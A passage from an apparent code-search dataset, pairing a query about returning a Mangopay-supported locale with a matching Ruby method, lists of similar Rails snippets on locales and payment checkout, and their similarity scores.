"def release_booth\n @user = User.where(:id => params[:user_id]).first\n @invoice = @user.cs_invoices.first\n if @invoice\n @user.update_attributes(:balance => 0, :blocked => 1)\n opts = {\n :state => (params[:full_payment].eql?(\"true\")) ? \"full\" : \"partial\"\n }\n calls = @invoice.calls\n if calls and calls.size > 0\n @invoice.update_attributes({:comment => params[:comment], :balance => params[:balance], :paid_at => Time.now}.merge(opts))\n else\n @invoice.destroy\n end\n @user.cs_invoices.where(:state => 'unpaid').all.each(&:destroy)\n store_invoice_in_session(@user, nil)\n render :text => \"OK\"\n else\n render :text => _(\"Invoice_not_found\")\n end\n end",
"def checkout\n @appointment = current_user.appointments.find(params[:appointment_id])\n\n # TO DO: Process the credit card of the user here\n end",
"def plan_with_balance(company, company_phone)\n @company = company\n @company_phone = company_phone\n mail(\n to: company_phone.extensions.admin.first.email,\n subject: '¡En GurúComm agradecemos tu recarga!'\n )\n end",
"def bought?\n # paym\n end",
"def purchase\n #@cart = Cart.find(self.cart_id)\n #cart.update_attribute(:purchased_at, Time.now)\n if cart.tip && cart.tip > 0\n @amount = price_in_cents + tax_in_cents + tip_in_cents\n else\n @amount = price_in_cents + tax_in_cents\n end\n @transaction = transactions.first\n #response = GATEWAY.purchase((price_in_cents + tax_in_cents), credit_card,\n # purchase_options)\n\n response = GATEWAY.capture((@amount), @transaction.authorization)\n @transaction.update_attributes(:action => \"capture\",\n :amount => (@amount), :response => response)\n\n #cart.update_attribute(:purchased_at, Time.now) if response.success?\n # SWITCH TO ABOVE WHEN LIVE.\n ######## remove when live. ########\n #GATEWAY.void(response.authorization, purchase_options)\n ## uncomment when live\n response.success?\n end",
"def pre_pay_offered\n end"
] |
[
"0.68328315",
"0.67279655",
"0.6485425",
"0.64456135",
"0.61975",
"0.61922866",
"0.6176197",
"0.6158198",
"0.6107334",
"0.6090993",
"0.60807323",
"0.6062563",
"0.6045458",
"0.5991927",
"0.59805334",
"0.5920878",
"0.5915377",
"0.59128165",
"0.59119236",
"0.58974683",
"0.5865758",
"0.5862035",
"0.582924",
"0.58258086",
"0.5803342",
"0.57939124",
"0.5783881",
"0.57502973",
"0.5745993",
"0.573676",
"0.57353693",
"0.5732135",
"0.5731343",
"0.57206255",
"0.5719123",
"0.5718827",
"0.5714822",
"0.5702895",
"0.568863",
"0.5673826",
"0.56700903",
"0.5658055",
"0.5655032",
"0.5654699",
"0.5654512",
"0.5648959",
"0.56462467",
"0.56397116",
"0.5633442",
"0.56318974",
"0.5630675",
"0.5627359",
"0.5626508",
"0.5626508",
"0.56198543",
"0.56186444",
"0.5614634",
"0.5612697",
"0.56103647",
"0.56054735",
"0.5605472",
"0.5603687",
"0.5603687",
"0.55941015",
"0.55920815",
"0.5590144",
"0.55849195",
"0.55772376",
"0.55723596",
"0.55604583",
"0.55589694",
"0.55551165",
"0.55508095",
"0.55479825",
"0.5541496",
"0.551825",
"0.5512722",
"0.5510299",
"0.55066615",
"0.55066615",
"0.55044013",
"0.550305",
"0.5493223",
"0.5491262",
"0.5479201",
"0.5477689",
"0.5476967",
"0.5468938",
"0.5468938",
"0.5468635",
"0.54679644",
"0.5466347",
"0.54628086",
"0.54627246",
"0.5461477",
"0.54534566",
"0.54460955",
"0.5443767",
"0.54436415",
"0.543859",
"0.5437509"
] |
0.0
|
-1
|
will return the parameter locale if Mangopay supports it
|
def payment_compatible_locale(locale)
locale = locale.to_s.split("-").first
if ["fr", "en", "es", "it", "pt", "de", "nl", "fi"].include?(locale)
return locale
else
return "en"
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def locale\n lang = params.fetch(:language, I18n.default_locale).to_sym\n I18n.available_locales.include?(lang) ? lang : I18n.default_locale\n end",
"def get_locale_from_params \n return nil unless params[:locale]\n I18n.available_locales.include?(params[:locale].to_sym) ? params[:locale] : nil\n end",
"def get_locale_from_params \n return nil unless params[:locale]\n I18n.available_locales.include?(params[:locale].to_sym) ? params[:locale] : nil\n end",
"def locale_from_params\n params[:locale] if (params[:locale] && ['en', 'se'].include?(params[:locale]))\n end",
"def locale\n self.padma.try :locale\n end",
"def locale; end",
"def locale; end",
"def locale; end",
"def locale; end",
"def locale; end",
"def locale; end",
"def locale; end",
"def locale\r\n read_attribute(:locale).to_sym\r\n end",
"def locale\n if self.language\n LANGUAGE_CODE[self.language]\n end\n end",
"def apply_locale; end",
"def default_locale; end",
"def extract_locale_from_request\r\n # locale defined in parameters\r\n return params[:locale] if params[:locale]\r\n # get locale from subdomains\r\n parsed_locale = request.subdomains.first\r\n return parsed_locale if I18n.available_locales.map(&:to_s).include?(parsed_locale)\r\n # get locale from http header\r\n return request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first if request.env['HTTP_ACCEPT_LANGUAGE']\r\n # get default locale\r\n return I18n.default_locale\r\n end",
"def locale_backend; end",
"def locale\n @locale || YodleeApi.locale\n end",
"def extract_locale_from_request\r\n # locale defined in parameters\r\n return params[:locale] if params[:locale]\r\n # get locale from subdomains\r\n parsed_locale = request.subdomains.first\r\n return parsed_locale if I18n.available_locales.map(&:to_s).include?(parsed_locale)\r\n # get locale from http header\r\n return request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first if request.env['HTTP_ACCEPT_LANGUAGE']\r\n # get default locale\r\n return I18n.default_locale\r\n end",
"def get_locale\n if !self.language.nil?\n return self.language.abbreviation\n else\n return nil\n end\n end",
"def locale\n if !language.nil?\n language.abbreviation\n elsif !org.nil?\n org.locale\n end\n end",
"def locale\n (self.country.blank? or self.country.indonesia?) ? :id : :en\n end",
"def lang locale\n if translations.find_by(locale: locale).try(:automated?)\n \"#{locale}-x-mtfrom-de\"\n else\n locale.to_s\n end\n end",
"def locale\n return @locale\n end",
"def locale\n return @locale\n end",
"def locale=(_arg0); end",
"def locale\n I18n.locale.to_s\n end",
"def locale\n I18n.locale.to_s\n end",
"def get_locale\n if !self.language.nil?\n return self.language.abbreviation\n elsif !self.org.nil?\n return self.org.get_locale\n else\n return nil\n end\n end",
"def locale\n @grpc.locale\n end",
"def locale\n @grpc.locale\n end",
"def locale\n @locale || { :country => \"US\", :language => \"en\", :variant => nil }\n end",
"def locale_from_http_header\n language = request.env['HTTP_ACCEPT_LANGUAGE']\n unless language.blank?\n http_locale = language.scan(/^[a-z]{2}-[A-Z]{2}/)\n unless http_locale.blank?\n http_locale = http_locale.first\n else\n http_locale = language.scan(/^[a-z]{2}/).first\n end\n end\n end",
"def format_locale\n self.locale = self.locale.gsub('_', '-').split(',').first.split('-').first if self.locale.present?\n end",
"def getLocaleCode\n # first default locale to default locale\n @locale_code = Rails.application.config.i18n.default_locale\n # next set locale to the locale in user record\n @locale_code = current_user.try(:locale) || @locale_code\n # next set locale to the locale passed as the locale param\n if (params.present? &&\n params['locale'].present? &&\n BaseRec::VALID_LOCALES.include?(params['locale'].to_s)\n )\n @locale_code = params['locale']\n end\n # set the locale in I18n\n I18n.locale = @locale_code\n Rails.logger.debug \"@locale_code: #{@locale_code.inspect}\"\n end",
"def set_locale\n I18n.locale = params[:locale] if params[:locale].present?\n # \"en\"\n # params[:locale] if params[:locale].present?\n # current_user.locale\n # request.subdomain\n # request.env[\"HTTP_ACCEPT_LANGUAGE\"]\n # request.remote_ip\n end",
"def locale_language(locale = nil)\n (locale || I18n.locale).to_s.match(/^(\\w{2})/) ? $1.to_sym : nil\n end",
"def locale\n favored_locale\n end",
"def verificar_locale\n \n end",
"def locale\n @values.fetch('ai.device.locale') { \n @values['ai.device.locale'] = nil\n }\n end",
"def extract_locale_from_accept_language_header\n lang = request.env['HTTP_ACCEPT_LANGUAGE']\n lang.split(\",\")[0].to_sym if lang\n end",
"def locale(locale)\n if default?\n locale.to_s\n else\n \"#{self.name}_#{locale.to_s}\"\n end\n end",
"def po_locale\n @po_locale\n end",
"def set_locale\n I18n.locale = extract_locale_from_accept_language_header || I18n.default_locale\n # I18n.locale = params[:locale] if params[:locale].present?\n end",
"def get_locale_from_http_header\n return DEFAULT_LANGUAGE if request.env['HTTP_ACCEPT_LANGUAGE'].nil?\n locale = request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first\n return locale if I18N_ALL_LANGUAGES.include?( locale)\n return DEFAULT_LANGUAGE\n end",
"def locale=(value); end",
"def locale_language(locale=nil)\n \"#{locale || I18n.locale}\"[0, 2].to_sym\n end",
"def set_locale\n I18n.locale = params[:locale] \n end",
"def locale\n return nil if errors\n\n locale = YAML.safe_load(@text).keys.first\n locale.to_sym\n end",
"def header_locale\n options = request.env.fetch('HTTP_ACCEPT_LANGUAGE', '').split(',')\n # clear out preference values; assume they'll be in order\n options.map! { |v| v.split(';')[0] }\n options.each do |v|\n return locale_matches[v] if locale_matches.keys.include?(v)\n end\n I18n.default_locale\n end",
"def set_locale\n \tI18n.locale = params[:locale] if params[:locale].present? \n end",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\nend",
"def set_locale\n I18n.locale = params[:locale] || I18n.default_locale\nend",
"def default_locale\n FastGettext.available_locales.first\n end",
"def system\n locale_from_env || default_locale\n end",
"def locale=(locale); end",
"def locale\n configatron.ramazon.locale || :us\n end",
"def extract_locale_from_accept_language_header\n if request.env['HTTP_ACCEPT_LANGUAGE']\n request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first.to_sym\n end\n end",
"def set_locale\n # Either through a param, that has highest priority\n locale = if params[:locale]\n params[:locale].to_s\n # Then let's check the browser if there was no param\n elsif accept_language = request.env['HTTP_ACCEPT_LANGUAGE']\n # TODO: Facebook would like to have the country when using authentication there. We should save the browser country somewhere.\n accept_language.scan(/^[a-z]{2}/).first.to_s\n end\n I18n.locale = locale if locale.present? and I18n.available_locales.include?(locale.to_sym)\n end",
"def current_locale\n Thread.current[:\"localite:locale\"] || base\n end",
"def default_locale\n AppConfig.default_locale\n end",
"def explicit_locale? = @explicit_locale",
"def locale_available?(locale); end",
"def set_locale\n end",
"def get_locale(host)\r\n host.gsub(I18n.config.host_locale_regex, '\\1') || I18n.default_locale\r\n end",
"def get_locale(locale = nil)\n locale || @_deco_locale || (h.cama_get_i18n_frontend rescue nil) || I18n.locale\n end",
"def extract_locale_from_accept_language_header\n request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z] {2} /).first\n end",
"def _calc_locale(_l)\n _l = (_l || @_deco_locale || (h.cama_get_i18n_frontend rescue nil) || I18n.locale).to_s\n \"_#{_l}\"\n end",
"def options_locale\n current_user.try(:locale) ||\n session[:locale] ||\n http_accept_language.compatible_language_from(I18n.available_locales) ||\n I18n.default_locale\n end",
"def set_locale\n #I18n.locale = params[:lang] ? params[:lang] : I18n.default_locale\n end",
"def set_locale\n I18n.locale = params[:locale]\n end",
"def set_locale\n I18n.locale = params[:locale]\n end",
"def extract_locale_from_accept_language_header\n locale = \"en_US\"\n locale = request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first \\\n if not request.env['HTTP_ACCEPT_LANGUAGE'].nil?\n return locale\n end",
"def default_locale=(locale); end",
"def set_locale\n I18n.locale = params[:locale] unless params[:locale].blank?\n end",
"def extract_locale_from_accept_language_header\n # One source of client supplied information would be an Accept-Language HTTP header.\n # People may set this in their browser\n if (request.env['HTTP_ACCEPT_LANGUAGE'] != nil)\n request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first\n #request.env['HTTP_ACCEPT_LANGUAGE']\n end\n end",
"def extract_locale_from_accept_language_header\n browser_locale = request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first.to_sym\n return nil unless I18n.available_locales.include? browser_locale\n browser_locale\n end",
"def detect_locale_from(source)\n case source\n when :params\n params[:locale]\n when :session\n logger.debug \"Session: #{session.inspect}\"\n session[:locale]\n when :cookie\n cookies[:locale]\n when :domain\n parse_host_and_port_for_locale[0]\n when :header\n request.env['HTTP_ACCEPT_LANGUAGE']\n when :default\n default_locale\n else\n raise \"unknown source\"\n end\n end",
"def extract_locale_from_accept_language_header\n browser_locale = request.env['HTTP_ACCEPT_LANGUAGE'].try(:scan, /^[a-z]{2}/).try(:first).try(:to_sym)\n if I18n.available_locales.include? browser_locale\n browser_locale\n else\n I18n.default_locale\n end\n end",
"def extract_locale_from_accept_language_header\n request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first\n end",
"def extract_locale_from_accept_language_header\n request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first\n end",
"def extract_locale_from_accept_language_header\n request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first\n end",
"def get_locale\n I18n.locale = session[:i18n] || I18n.default_locale || :en\n end",
"def set_locale\n accept_language = request.headers['Accept-Language']\n return if accept_language.blank?\n\n available = %w{en ja}\n accept_language.split(',').each do |locale_set|\n locale = locale_set.split(';').first\n if available.include?(locale)\n I18n.locale = locale\n break\n end\n end\n end",
"def extract_locale_from_accept_language_header\n lang = request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first\n logger.info \"INFO: Language #{lang} determined from header\"\n lang\n end",
"def read_locale\n raise \"Override me\"\n end",
"def default_locale\n @default_locale ||= self.languages.get_default.code.to_sym\n end",
"def available_locales; end",
"def available_locales; end",
"def locale\n defined?(I18n) ? I18n.locale : default_locale\n end",
"def locale_country(locale=nil)\n \"#{locale || I18n.locale}\".match(/-([a-zA-Z]{2})/) ? $1.to_sym : nil\n end",
"def set_locale \n locale = params[:locale]\n locale ||= request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first if request.env['HTTP_ACCEPT_LANGUAGE']\n I18n.locale = (locale && I18n.available_locales.include?(locale.to_sym)) ? locale : I18n.default_locale\n end",
"def set_locale\n \n #raise \"params[:locale] = #{params[:locale].present?}\"\n #raise \"params[:locale] = #{params[:locale].blank?}\"\n # Se non ho assegnato il parametro :locale allora gli passo la lingua impostata sul browser \n # (per testare usa Google chrome Extension: Locale Switcher)\n params[:locale] = request.env.fetch('HTTP_ACCEPT_LANGUAGE', '').scan(/[a-z]{2}/).first if params[:locale].blank?\n #raise \"params[:locale] = #{params[:locale]}\"\n\n case params[:locale]\n when \"it\", \"en\"\n I18n.locale = params[:locale]\n else\n I18n.locale = I18n.default_locale\n end\n end",
"def locale\n sys && sys[:locale] ? sys[:locale] : default_locale\n end",
"def locale\n sys && sys[:locale] ? sys[:locale] : default_locale\n end",
"def extract_locale_from_session\n session[:locale] || nil\n end",
"def extract_locale_from_accept_language_header\n begin\n locale = request.env['HTTP_ACCEPT_LANGUAGE'].scan(/^[a-z]{2}/).first\n\n locales = {\n 'de' => 'de_DE',\n 'da' => 'da_DK',\n 'dk' => 'da_DK',\n 'fi' => 'fi_FI',\n 'fr' => 'fr_FR',\n 'de' => 'de_DE',\n 'en' => 'en_GB',\n 'uk' => 'en_GB',\n 'us' => 'en_GB',\n 'gr' => 'el_GR',\n 'is' => 'is_IS',\n 'it' => 'it_IT',\n 'ja' => 'ja_JP',\n 'nl' => 'nl_NL',\n 'no' => 'no_NO',\n 'pl' => 'pl_PL',\n 'pt' => 'pt_PT',\n 'ro' => 'ro_RO',\n 'ru' => 'ru_RU',\n 'es' => 'es_ES',\n 'sv' => 'sv_SE',\n 'se' => 'sv_SE'\n }\n\n if not locales.has_key?(locale)\n return \"en\"\n end\n\n return locales[locale]\n rescue\n return \"en\"\n end\n end",
"def default_locale\n return nil unless localized?\n u_lc = I18n.locale.to_sym\n available_locales.include?(u_lc) ? u_lc : available_locales[0]\n end",
"def set_locale\n I18n.locale = params[:locale] unless params[:locale].blank?\n end"
] |
[
"0.7838158",
"0.7825573",
"0.7823879",
"0.77388436",
"0.7726428",
"0.7635549",
"0.7635549",
"0.7635549",
"0.7635549",
"0.7635549",
"0.7635549",
"0.7635549",
"0.7489069",
"0.7451018",
"0.74438983",
"0.74419606",
"0.74080664",
"0.7404709",
"0.7404513",
"0.7402561",
"0.73953307",
"0.73574734",
"0.7280745",
"0.72709036",
"0.72537595",
"0.72537595",
"0.72395235",
"0.72272784",
"0.72272784",
"0.7209607",
"0.7187676",
"0.7187676",
"0.71617526",
"0.71007496",
"0.70807016",
"0.70628047",
"0.7040021",
"0.70211303",
"0.70026326",
"0.7000472",
"0.69970226",
"0.6985583",
"0.69736624",
"0.6972596",
"0.6961076",
"0.695941",
"0.6954979",
"0.6950001",
"0.69474465",
"0.69398177",
"0.69312114",
"0.69178593",
"0.68980485",
"0.68980485",
"0.6897155",
"0.6897046",
"0.6895123",
"0.6874089",
"0.68724525",
"0.6869564",
"0.6852232",
"0.68499935",
"0.6846342",
"0.68324286",
"0.6828465",
"0.67934614",
"0.6785553",
"0.6777321",
"0.6776585",
"0.6766616",
"0.6759266",
"0.6757895",
"0.6757895",
"0.67570615",
"0.6754611",
"0.67423946",
"0.6741357",
"0.6740322",
"0.6727978",
"0.67147803",
"0.6712256",
"0.6712256",
"0.6712256",
"0.67073333",
"0.66904604",
"0.6686049",
"0.6660891",
"0.6645583",
"0.66385466",
"0.66385466",
"0.6628746",
"0.6626403",
"0.6623675",
"0.66145116",
"0.66074735",
"0.66074735",
"0.6601404",
"0.6588641",
"0.6585809",
"0.65850437"
] |
0.71903276
|
30
|
Check that required payout details are present (and creates MangoPay benificiary if needed)
|
def required_payout_details_present?(person)
return false unless person.bank_account_owner_name && person.bank_account_owner_address && person.iban && person.bic.present?
return person.mangopay_beneficiary_id.present? || create_mangopay_beneficiary(person)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @payout = Payout.new(payout_params)\n\n respond_to do |format|\n if @payout.save\n format.html { redirect_to @payout, notice: 'Payout was successfully created.' }\n format.json { render :show, status: :created, location: @payout }\n else\n format.html { render :new }\n format.json { render json: @payout.errors, status: :unprocessable_entity }\n end\n end\n end",
"def register_payout_details(person)\n # nothing to do by default\n end",
"def test_a_user_can_create_company_billing_profile_witout_vat_code\n visit new_billing_profile_path\n fill_in_address\n\n fill_in('billing_profile[name]', with: 'ACME corporation')\n\n assert_changes('BillingProfile.count') do\n click_link_or_button('Submit')\n end\n\n assert(@user.billing_profiles\n .where(name: 'ACME corporation')\n .where('vat_code IS NULL'))\n\n assert(page.has_css?('div.notice', text: 'Created successfully.'))\n end",
"def create_empty_payment_profile(user) \n options = {\n :customer_profile_id => user.authnet_customer_profile_id.to_i, \n :payment_profile => {\n :bill_to => { :first_name => user.first_name, :last_name => user.last_name, :address => '', :city => '', :state => '', :zip => '', :phone_number => '', :email => user.email }, \n :payment => { :credit_card => Caboose::StdClass.new({ :number => '4111111111111111', :month => 1, :year => 2020, :first_name => user.first_name, :last_name => user.last_name }) }\n }\n #, :validation_mode => :live\n } \n resp = self.gateway.create_customer_payment_profile(options) \n if resp.success? \n user.authnet_payment_profile_id = resp.params['customer_payment_profile_id'] \n user.save\n else\n puts \"==================================================================\" \n puts resp.message\n puts \"\"\n puts resp.inspect\n puts \"==================================================================\"\n end\n end",
"def check_billing_info(report, page)\n begin\n if(page.bill_name.downcase.include? \"digital automation\")\n report.billname = page.bill_name\n else\n report.billname = 'FAILED'\n end\n rescue => e\n report.billname = 'FAILED'\n end\n\n begin\n if(page.billing_address.include?(\"123 QATest Street\") && page.billing_address.include?('Anywhere') && page.billing_address.include?('CA') && page.billing_address.include?('90405'))\n report.billaddress = page.billing_address\n else\n report.billaddress = 'FAILED'\n end\n rescue => e\n report.billaddress = 'FAILED'\n end\n \n begin\n if(page.shipping_address.include?(\"123 QATest Street\") && page.shipping_address.include?('Anywhere') && page.shipping_address.include?('CA') && page.shipping_address.include?('90405'))\n report.shipaddress = page.shipping_address\n else\n report.shipaddress = 'FAILED'\n end\n rescue => e\n report.shipaddress = 'FAILED'\n end\n\n begin\n if(page.bill_email.include? @configuration['ConfEmailOverride'])\n report.billemail = page.bill_email\n else\n report.billemail = 'FAILED'\n end\n rescue => e\n report.billemail = 'FAILED'\n end\n end",
"def guard_process_payment_from_created; true; end",
"def guard_process_payment_from_created; true; end",
"def create_autopay_rent(autopay_params, penalties)\r\n first_pay = MyDate::date_from_date_select(autopay_params, \"first_pay\")\r\n autopay_rent = AutoPay.new({:renter_id => self.id,\r\n :property_id => self.property.id,\r\n :object => autopay_params[\"object\"],\r\n :price => autopay_params[\"price\"],\r\n :category => \"in\",\r\n :groupp => \"najem\",\r\n :last_pay => first_pay,\r\n :repeat => autopay_params[\"repeat\"],\r\n :added => Time.now.to_i})\r\n autopay_rent.save\r\n if autopay_rent.save\r\n autopay_rent.generate_first_bill(autopay_params[:rent_penalty])\r\n end_of_month = Time.utc(Time.now.year,Time.now.month,MyDate::Month[Time.now.month][:days])\r\n autopay_rent.generate_bills(end_of_month)\r\n self.actual_rent.update_attributes({:auto_pay_id => autopay_rent.id,\r\n :penalty_id => autopay_params[:rent_penalty]})\r\n return true\r\n else\r\n return false\r\n end\r\n end",
"def set_buyer_payout(address)\n if buyer_payout && buyer_payout.btc_amount > 0 && !buyer_payout.paid\n self.buyer_payout.btc_address = address\n self.buyer_payout.save\n else\n false\n end\n end",
"def check_meal_info\n if params[:tenant][:meal] == \"true\" && (tenant_params[:tenant_details_attributes][\"0\"][:meal_time] == \"\" || tenant_params[:tenant_details_attributes][\"0\"][:meal_plan] == \"\" || tenant_params[:tenant_details_attributes][\"0\"][:order] == \"\" || tenant_params[:tenant_details_attributes][\"0\"][:quantity] == \"\" || tenant_params[:tenant_details_attributes][\"0\"][:food_category_id] == \"\") \n redirect_to :action => \"new\", notice: 'Tenant was not created. Please fill the meal_info'\n end\n end",
"def create\n @payout = Payout.new(price: current_user.credit, user_id: current_user.id)\n ti_ids = TaskInstance.where('status = ? AND user_id = ?', :finished, current_user.id).select(:id)\n ti_ids.each do |ti|\n ti.update(status: :paid)\n end\n @payout.task_instances = ti_ids\n\n respond_to do |format|\n if @payout.save\n current_user.update(credit: 0)\n format.html { redirect_to @payout, notice: 'Payout was successfully created.' }\n format.json { render action: 'show', status: :created, location: @payout }\n else\n format.html { render action: 'new' }\n format.json { render json: @payout.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_checkout(redirect_uri)\n # calculate app_fee as 10% of produce price\n app_fee = self.ticket_price * 0.1\n\n params = {\n :account_id => self.wepay_account_id,\n :short_description => \"Ticket for #{self.event_name}\",\n :type => :GOODS,\n :amount => self.ticket_price,\n :app_fee => app_fee,\n :fee_payer => :payee,\n :mode => :iframe,\n :redirect_uri => redirect_uri\n }\n response = WEPAY.call('/checkout/create', self.wepay_access_token, params)\n\n if !response\n raise \"Error - no response from WePay\"\n elsif response['error']\n raise \"Error - \" + response[\"error_description\"]\n end\n\n return response\n self.attendee_list += [params[\"nameOnCard\"]]\nend",
"def payout!\n transaction = nil\n\n ApplicationRecord.transaction do\n lock! # Protect against potential race conditions\n\n raise PayoutError, 'already paid out' if paid_out?\n\n 'Transaction::InternalTransfer::BountyClaim'.constantize # because rails autoloading, that's why.\n transaction = Transaction::InternalTransfer::BountyClaim.create! description: \"Payout BountyClaim(#{id}) - Total: $#{amount}\"\n\n transaction.splits.create(\n amount: -1 * amount,\n item: (issue || pact)\n )\n\n transaction.splits.create(\n amount: amount,\n item: person\n )\n\n unless transaction.valid?\n raise PayoutError, transaction.errors.full_messages.to_sentence\n end\n\n update_attribute :paid_out, true\n end\n\n transaction\n end",
"def set_payout\n @payout = Payout.find(params[:id])\n end",
"def set_payout\n @payout = Payout.find(params[:id])\n end",
"def express_checkout_complete \n paypal_token = params[:token] \n @prize = Prize.find_by_paypal_token(paypal_token, :conditions => [\"paypal_state = 'purchase_setup'\"]) \n @details = gateway.details_for(paypal_token) \n \n if !@details.success?\n #paypal has reported error back to our system\n paypal_error(@details) \n else \n \n #might want to add to debug\n logger.info \"Customer name: #{@details.params['name']}\" \n logger.info \"Customer e-mail: #{@details.params['payer']}\" \n \n @response = gateway.purchase( \n amount_in_cents(@prize.paypal_prizecost), \n :token => @details.params['token'], \n :payer_id => @details.params['payer_id'] \n )\n \n if !@response.success? \n paypal_error(@response) \n else \n @prize.update_attributes(\n :paypal_state => 'closed',\n :paypal_amount => @response.params['gross_amount'] \n ) \n \n #send to prize confirmation page \n end #!@response.success? \n end #!@details.success?\nend",
"def verify_payment_profile(user) \n resp = self.gateway.get_customer_profile({ :customer_profile_id => user.authnet_customer_profile_id }) \n if resp.success?\n arr = resp.params['profile']['payment_profiles'] \n arr = [arr] if arr && arr.is_a?(Hash)\n if arr.nil? || arr.count == 0\n self.create_empty_payment_profile(user)\n user.valid_authnet_payment_profile_id = false \n else \n h = arr[0]\n user.authnet_payment_profile_id = h['customer_payment_profile_id'] \n user.valid_authnet_payment_profile_id = h['bill_to'] && h['bill_to']['address'] && h['bill_to']['address'].strip.length > 0 \n user.save\n end\n end \n end",
"def create_checkout(redirect_uri)\n # calculate app_fee as 10% of produce price\n app_fee = self.donate_amount * 0.1\n params = {\n :account_id => self.wepay_account_id,\n :short_description => \"Donate from #{self.name}\",\n :type => 'donation',\n :currency => 'USD',\n :amount => self.donate_amount, \n :fee => { \n :app_fee => app_fee,\n :fee_payer => 'payee'\n },\n :hosted_checkout => {\n :mode => 'iframe',\n :redirect_uri => redirect_uri\n } \n \n }\n response = WEPAY.call('/checkout/create', self.wepay_access_token, params)\n puts response\n if !response\n raise \"Error - no response from WePay\"\n elsif response['error']\n raise \"Error - \" + response[\"error_description\"]\n end\n\n return response\nend",
"def create_bepaid_bill\n # Don't touch real web services during of test database initialization\n return if Rails.env.test?\n\n user = self\n\n bp = BePaid::BePaid.new Setting['bePaid_baseURL'], Setting['bePaid_ID'], Setting['bePaid_secret']\n\n amount = user.monthly_payment_amount\n\n #amount is (amoint in BYN)*100\n bill = {\n request: {\n amount: (amount * 100).to_i,\n currency: 'BYN',\n description: 'Членский взнос',\n email: 'jekhor@gmail.com',\n notification_url: 'https://hackerspace.by/admin/erip_transactions/bepaid_notify',\n ip: '127.0.0.1',\n order_id: '4444',\n customer: {\n first_name: 'Cool',\n last_name: 'Hacker',\n },\n payment_method: {\n type: 'erip',\n account_number: 444,\n permanent: 'true',\n editable_amount: 'true',\n service_no: Setting['bePaid_serviceNo'],\n }\n }\n }\n req = bill[:request]\n req[:email] = user.email\n req[:order_id] = user.id\n req[:customer][:first_name] = user.first_name\n req[:customer][:last_name] = user.last_name\n req[:payment_method][:account_number] = user.id\n\n begin\n res = bp.post_bill bill\n logger.debug JSON.pretty_generate res\n rescue => e\n logger.error e.message\n logger.error e.http_body if e.respond_to? :http_body\n user.errors.add :base, \"Не удалось создать счёт в bePaid, проверьте лог\"\n end\n end",
"def check_for_buyout\n if self.is_bought_out\n if self.bought_out_by_team_id\n self.subcontracts.future_years.each do |sub|\n sub.salary_amount *= 0.6\n sub.this_is_a_buyout = true\n sub.save!\n\n # update GM's annual actions to not allow more buyouts\n actions = AnnualGmAction.find_by_team_id_and_year(self.bought_out_by_team_id, current_year)\n actions.has_bought_out = true\n actions.bought_out_player_id = self.player.id\n actions.save!\n end\n end\n end\n end",
"def create_the_payment_exhibition\n if((params[:invoicing_info][:payment_medium] == \"visa\") or (params[:invoicing_info][:payment_medium] == \"paypal\") or (params[:invoicing_info][:payment_medium] == \"master_card\")) \n credit_card = CreditCard.find_by_user_id(current_user.id)\n if credit_card.blank?\n credit_card = CreditCard.new()\n end\n credit_card.number = params[:credit_card][:number0]+params[:credit_card][:number1]+params[:credit_card][:number2]+params[:credit_card][:number3]+params[:credit_card][:number4]+params[:credit_card][:number5]+params[:credit_card][:number6]+params[:credit_card][:number7]+params[:credit_card][:number8]+params[:credit_card][:number9]+params[:credit_card][:number10]+params[:credit_card][:number11]+params[:credit_card][:number12]+params[:credit_card][:number13]+params[:credit_card][:number14]+params[:credit_card][:number15]\n credit_card.user_id = current_user.id\n credit_card.first_name = params[:credit_card][:first_name]\n credit_card.last_name = params[:credit_card][:last_name]\n credit_card.expiring_date = Date.civil(params[:credit_card][\"expiring_date(1i)\"].to_i,params[:credit_card][\"expiring_date(2i)\"].to_i,params[:credit_card][\"expiring_date(3i)\"].to_i).strftime(\"%y-%m-%d\") \n credit_card.save\n else\n end \n creditcardnumber = params[:credit_card][:number0]+params[:credit_card][:number1]+params[:credit_card][:number2]+params[:credit_card][:number3]+params[:credit_card][:number4]+params[:credit_card][:number5]+params[:credit_card][:number6]+params[:credit_card][:number7]+params[:credit_card][:number8]+params[:credit_card][:number9]+params[:credit_card][:number10]+params[:credit_card][:number11]+params[:credit_card][:number12]+params[:credit_card][:number13]+params[:credit_card][:number14]+params[:credit_card][:number15]\n #######################################this is im copying here is something from payment controller create method\n @order = session[:purchasable] \n if @order.blank?\n render :text =>\"Please Refresh The Page And Try Again\"\n return\n else \n @order.save\n current_user.profile.biography = params[:biography]\n current_user.profile.save\n end\n @current_object = Payment.new(params[:payment])\t\t#@invoice = session[:invoice]\t\t\n \n if @order.instance_of? ExhibitionsUser\n @current_object.amount_in_cents =params[:invoice_amount].to_i*100\n elsif @order.instance_of? CompetitionsUser\n @current_object.amount_in_cents = (@order.find_price(@order.competition.id) ) * 100\n else \n end\n @current_object.user = @current_user\t\t#@current_object.invoice = @invoice\n if @order.instance_of? ExhibitionsUser\n if params[:invoicing_info][:payment_medium] == \"visa\" or params[:invoicing_info][:payment_medium] == \"master_card\" \n @current_object.common_wealth_bank_process((params[:invoice_amount].to_i*100),params,creditcardnumber)\n \n elsif params[:invoicing_info][:payment_medium] == \"cash\" or params[:invoicing_info][:payment_medium] == \"cheque\" or params[:invoicing_info][:payment_medium] == \"direct deposit\"\n elsif 